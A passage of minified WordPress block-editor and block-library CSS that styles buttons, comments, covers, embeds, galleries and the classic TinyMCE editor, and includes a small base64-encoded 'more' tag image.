.has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.screen-reader-text:focus{background-color:#ddd;clip:auto!important;-webkit-clip-path:none;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}.wp-element-button{
  cursor:pointer;
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(-135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(-135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(-135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(-135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(-135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(-135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(-135deg,#020381,#2874fc)}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.screen-reader-text:focus{background-color:#ddd;clip:auto!important;-webkit-clip-path:none;clip-path:none;color:#444;display:block;font-size:1em;height:auto;line-height:normal;padding:15px 23px 14px;right:5px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-left-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-right-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-left-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-right-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}.wp-element-button{cursor:pointer}.wp-block-button__link{background-color:#32373c;border-radius:9999px;box-shadow:none;color:#fff;font-size:1.125em;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-file__button{background:#32373c;color:#fff}.wp-block-audio figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-audio figcaption{
  color:#ffffffa6;
}

.wp-block-audio{
  margin:0 0 1em;
}

.wp-block-code{
  border:1px solid #ccc;
  border-radius:4px;
  font-family:Menlo,Consolas,monaco,monospace;
  padding:.8em 1em;
}

.wp-block-embed figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-embed figcaption{
  color:#ffffffa6;
}

.wp-block-embed{
  margin:0 0 1em;
}

.blocks-gallery-caption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .blocks-gallery-caption{
  color:#ffffffa6;
}

.wp-block-image figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-image figcaption{
  color:#ffffffa6;
}

.wp-block-image{
  margin:0 0 1em;
}

.wp-block-pullquote{
  border-bottom:4px solid;
  border-top:4px solid;
  color:currentColor;
  margin-bottom:1.75em;
}
.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{
  color:currentColor;
  font-size:.8125em;
  font-style:normal;
  text-transform:uppercase;
}

.wp-block-quote{
  border-left:.25em solid;
  margin:0 0 1.75em;
  padding-left:1em;
}
.wp-block-quote cite,.wp-block-quote footer{
  color:currentColor;
  font-size:.8125em;
  font-style:normal;
  position:relative;
}
.wp-block-quote.has-text-align-right{
  border-left:none;
  border-right:.25em solid;
  padding-left:0;
  padding-right:1em;
}
.wp-block-quote.has-text-align-center{
  border:none;
  padding-left:0;
}
.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote.is-style-plain{
  border:none;
}

.wp-block-search .wp-block-search__label{
  font-weight:700;
}

.wp-block-search__button{
  border:1px solid #ccc;
  padding:.375em .625em;
}

:where(.wp-block-group.has-background){
  padding:1.25em 2.375em;
}

.wp-block-separator.has-css-opacity{
  opacity:.4;
}

.wp-block-separator{
  border:none;
  border-bottom:2px solid;
  margin-left:auto;
  margin-right:auto;
}
.wp-block-separator.has-alpha-channel-opacity{
  opacity:1;
}
.wp-block-separator:not(.is-style-wide):not(.is-style-dots){
  width:100px;
}
.wp-block-separator.has-background:not(.is-style-dots){
  border-bottom:none;
  height:1px;
}
.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){
  height:2px;
}

.wp-block-table{
  margin:0 0 1em;
}
.wp-block-table td,.wp-block-table th{
  word-break:normal;
}
.wp-block-table figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-table figcaption{
  color:#ffffffa6;
}

.wp-block-video figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-video figcaption{
  color:#ffffffa6;
}

.wp-block-video{
  margin:0 0 1em;
}

.wp-block-template-part.has-background{
  margin-bottom:0;
  margin-top:0;
  padding:1.25em 2.375em;
}.wp-block-button__link{
  background-color:#32373c;
  border-radius:9999px;
  box-shadow:none;
  color:#fff;
  font-size:1.125em;
  padding:calc(.667em + 2px) calc(1.333em + 2px);
  text-decoration:none;
}

.wp-block-file__button{
  background:#32373c;
  color:#fff;
}.wp-block-button__link{background-color:#32373c;border-radius:9999px;box-shadow:none;color:#fff;font-size:1.125em;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-file__button{background:#32373c;color:#fff}ul.wp-block-archives{padding-left:2.5em}.wp-block-audio{margin-left:0;margin-right:0;position:relative}.wp-block-audio.is-transient audio{opacity:.3}.wp-block-audio .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.wp-block-avatar__image img{width:100%}.wp-block-avatar.aligncenter .components-resizable-box__container{margin:0 auto}.edit-post-visual-editor .block-library-block__reusable-block-container .is-root-container{padding-left:0;padding-right:0}.edit-post-visual-editor .block-library-block__reusable-block-container .block-editor-writing-flow{display:block}.edit-post-visual-editor .block-library-block__reusable-block-container .components-disabled .block-list-appender{display:none}.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.is-dark-theme .edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}.wp-block[data-align=center]>.wp-block-button{margin-left:auto;margin-right:auto;text-align:center}.wp-block[data-align=right]>.wp-block-button{
  /*!rtl:ignore*/text-align:right}.wp-block-button{cursor:text;position:relative}.wp-block-button:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:-2px}.wp-block-button[data-rich-text-placeholder]:after{opacity:.8}div[data-type="core/button"]{display:table}.editor-styles-wrapper .wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where(.has-border-color){border-width:initial}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-color]){border-top-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-color]){border-right-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){border-bottom-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-color]){border-left-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-style]){border-width:initial}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-style]){border-top-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-style]){border-right-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){border-bottom-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-style]){border-left-width:medium}.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{align-items:center;display:inline-flex}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.editor-styles-wrapper .wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end}.wp-block-categories ul{padding-left:2.5em}.wp-block-categories ul ul{margin-top:6px}[data-align=center] .wp-block-categories{text-align:center}.wp-block-code code{background:none}.wp-block-columns :where(.wp-block){margin-left:0;margin-right:0;max-width:none}html :where(.wp-block-column){margin-bottom:0;margin-top:0}.wp-block-comments__legacy-placeholder,.wp-block-post-comments{box-sizing:border-box}.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{float:left}.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{float:right}.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-left:3.25em}.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;margin-top:.5em;width:2.5em}.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.block-library-comments-toolbar__popover .components-popover__content{min-width:230px}.wp-block-comments__legacy-placeholder *{pointer-events:none}.wp-block-comment-author-avatar__placeholder{border:1px dashed;height:100%;width:100%;stroke:currentColor;stroke-dasharray:3}.wp-block[data-align=center]>.wp-block-comments-pagination{justify-content:center}.editor-styles-wrapper .wp-block-comments-pagination{max-width:100%}.editor-styles-wrapper .wp-block-comments-pagination.block-editor-block-list__layout{margin:0}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{margin:.5em .5em .5em 0}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}.wp-block-comments-pagination-numbers a{text-decoration:underline}.wp-block-comments-pagination-numbers .page-numbers{margin-right:2px}.wp-block-comments-pagination-numbers .page-numbers:last-child{margin-right:0}.wp-block-comments-title.has-background{padding:inherit}.editor-styles-wrapper .wp-block-cover{box-sizing:border-box}.wp-block-cover.is-placeholder{align-items:stretch;display:flex;min-height:240px;padding:0!important}.wp-block-cover.is-placeholder .components-placeholder.is-large{justify-content:flex-start;z-index:1}.wp-block-cover.is-placeholder:focus:after{min-height:auto}.wp-block-cover.components-placeholder h2{color:inherit}.wp-block-cover.is-transient:before{background-color:#fff;opacity:.3}.wp-block-cover .components-spinner{left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%);z-index:1}.wp-block-cover .wp-block-cover__inner-container{margin-left:0;margin-right:0;text-align:left}.wp-block-cover .wp-block-cover__placeholder-background-options{width:100%}.wp-block-cover .wp-block-cover__image--placeholder-image{bottom:0;left:0;position:absolute;right:0;top:0}[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{max-width:420px;width:100%}.block-library-cover__reset-button{margin-left:auto}.block-library-cover__resize-container{bottom:0;left:0;min-height:50px;position:absolute!important;right:0;top:0}.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{overflow:visible;pointer-events:none}.wp-block-cover>.components-drop-zone .components-drop-zone__content{opacity:.8!important}.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{background-attachment:scroll}.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){margin-top:24px}.wp-block-cover:after{min-height:auto}.wp-block-details summary div{display:inline}.wp-block-embed{clear:both;margin-left:0;margin-right:0}.wp-block-embed.is-loading{display:flex;justify-content:center}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-embed__learn-more{margin-top:1em}.wp-block-post-content .wp-block-embed__learn-more a{color:var(--wp-admin-theme-color)}.block-library-embed__interactive-overlay{bottom:0;left:0;opacity:0;position:absolute;right:0;top:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px}.wp-block-file{align-items:center;display:flex;flex-wrap:wrap;justify-content:space-between;margin-bottom:0}.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{height:auto}.wp-block-file .components-resizable-box__container{margin-bottom:1em}.wp-block-file .wp-block-file__preview{height:100%;margin-bottom:1em;width:100%}.wp-block-file .wp-block-file__preview-overlay{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-file .wp-block-file__content-wrapper{flex-grow:1}.wp-block-file a{min-width:1em}.wp-block-file a:not(.wp-block-file__button){display:inline-block}.wp-block-file .wp-block-file__button-richtext-wrapper{display:inline-block;margin-left:.75em}.wp-block-form-input .is-input-hidden{background:repeating-linear-gradient(45deg,#0000,#0000 5px,currentColor 0,currentColor 6px);border:1px dashed;box-sizing:border-box;font-size:.85em;opacity:.3;padding:.5em}.wp-block-form-input .is-input-hidden input[type=text]{background:#0000}.wp-block-form-input.is-selected .is-input-hidden{background:none;opacity:1}.wp-block-form-input.is-selected .is-input-hidden input[type=text]{background:unset}.wp-block-form-submission-notification>*{background:repeating-linear-gradient(45deg,#0000,#0000 5px,currentColor 0,currentColor 6px);border:1px dashed;box-sizing:border-box;opacity:.25}.wp-block-form-submission-notification.is-selected>*,.wp-block-form-submission-notification:has(.is-selected)>*{background:none;opacity:1}.wp-block-form-submission-notification.is-selected:after,.wp-block-form-submission-notification:has(.is-selected):after{display:none!important}.wp-block-form-submission-notification:after{align-items:center;display:flex;font-size:1.1em;height:100%;justify-content:center;left:0;position:absolute;top:0;width:100%}.wp-block-form-submission-notification.form-notification-type-success:after{content:attr(data-message-success)}.wp-block-form-submission-notification.form-notification-type-error:after{content:attr(data-message-error)}.wp-block-freeform.block-library-rich-text__tinymce{height:auto}.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{line-height:1.8}.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{margin-left:0;padding-left:2.5em}.wp-block-freeform.block-library-rich-text__tinymce blockquote{border-left:4px solid #000;box-shadow:inset 0 0 0 0 #ddd;margin:0;padding-left:1em}.wp-block-freeform.block-library-rich-text__tinymce pre{color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;white-space:pre-wrap}.wp-block-freeform.block-library-rich-text__tinymce>:first-child{margin-top:0}.wp-block-freeform.block-library-rich-text__tinymce>:last-child{margin-bottom:0}.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce a{color:var(--wp-admin-theme-color)}.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{background:#e5f5fa;border-radius:2px;box-shadow:0 0 0 1px #e5f5fa;margin:0 -2px;padding:0 2px}.wp-block-freeform.block-library-rich-text__tinymce code{background:#f0f0f0;border-radius:2px;color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:14px;padding:2px}.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{background:#ddd}.wp-block-freeform.block-library-rich-text__tinymce .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-freeform.block-library-rich-text__tinymce .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);background-position:50%;background-repeat:no-repeat;background-size:1900px 20px;cursor:default;display:block;height:20px;margin:15px auto;outline:0;width:96%}.wp-block-freeform.block-library-rich-text__tinymce img::selection{background-color:initial}.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{-ms-user-select:element}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{margin:0;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{display:block}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{-webkit-user-drag:none}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{margin:0;padding-top:.5em}.wp-block-freeform.block-library-rich-text__tinymce .wpview{border:1px solid #0000;clear:both;margin-bottom:16px;position:relative;width:99.99%}.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{background:#0000;display:block;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{display:none}.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{border:1px dashed #ddd;padding:10px}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{border:1px solid #ddd;margin:0;padding:1em 0;word-wrap:break-word}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{margin:0;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{border-color:#0000}.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{display:block;font-size:32px;height:32px;margin:0 auto;width:32px}.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{clear:both;content:"";display:table}.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce .gallery a{cursor:default}.wp-block-freeform.block-library-rich-text__tinymce .gallery{line-height:1;margin:auto -6px;overflow-x:hidden;padding:6px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{box-sizing:border-box;float:left;margin:0;padding:6px;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{margin:0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{font-size:13px;margin:4px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{width:100%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{width:50%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{width:33.3333333333%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{width:25%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{width:20%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{width:16.6666666667%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{width:14.2857142857%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{width:12.5%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{width:11.1111111111%}.wp-block-freeform.block-library-rich-text__tinymce .gallery img{border:none;height:auto;max-width:100%;padding:0}div[data-type="core/freeform"]:before{border:1px solid #ddd;outline:1px solid #0000;transition:border-color .1s linear,box-shadow .1s linear}@media (prefers-reduced-motion:reduce){div[data-type="core/freeform"]:before{transition-delay:0s;transition-duration:0s}}div[data-type="core/freeform"].is-selected:before{border-color:#1e1e1e}div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{margin-top:0;padding-top:0}div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{clear:both;content:"";display:table}.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i,.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i{color:#1e1e1e}.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{margin-left:8px;margin-right:0}.mce-toolbar-grp .mce-btn i{font-style:normal}.block-library-classic__toolbar{border:1px solid #ddd;border-bottom:none;border-radius:2px;display:none;margin:0 0 8px;padding:0;position:sticky;top:0;width:auto;z-index:31}div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{border-color:#1e1e1e;display:block}.block-library-classic__toolbar .mce-tinymce{box-shadow:none}@media (min-width:600px){.block-library-classic__toolbar{padding:0}}.block-library-classic__toolbar:empty{background:#f5f5f5;border-bottom:1px solid #e2e4e7;display:block}.block-library-classic__toolbar:empty:before{color:#555d66;content:attr(data-placeholder);font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:37px;padding:14px}.block-library-classic__toolbar div.mce-toolbar-grp{border-bottom:1px solid #1e1e1e}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{height:auto!important;width:100%!important}.block-library-classic__toolbar 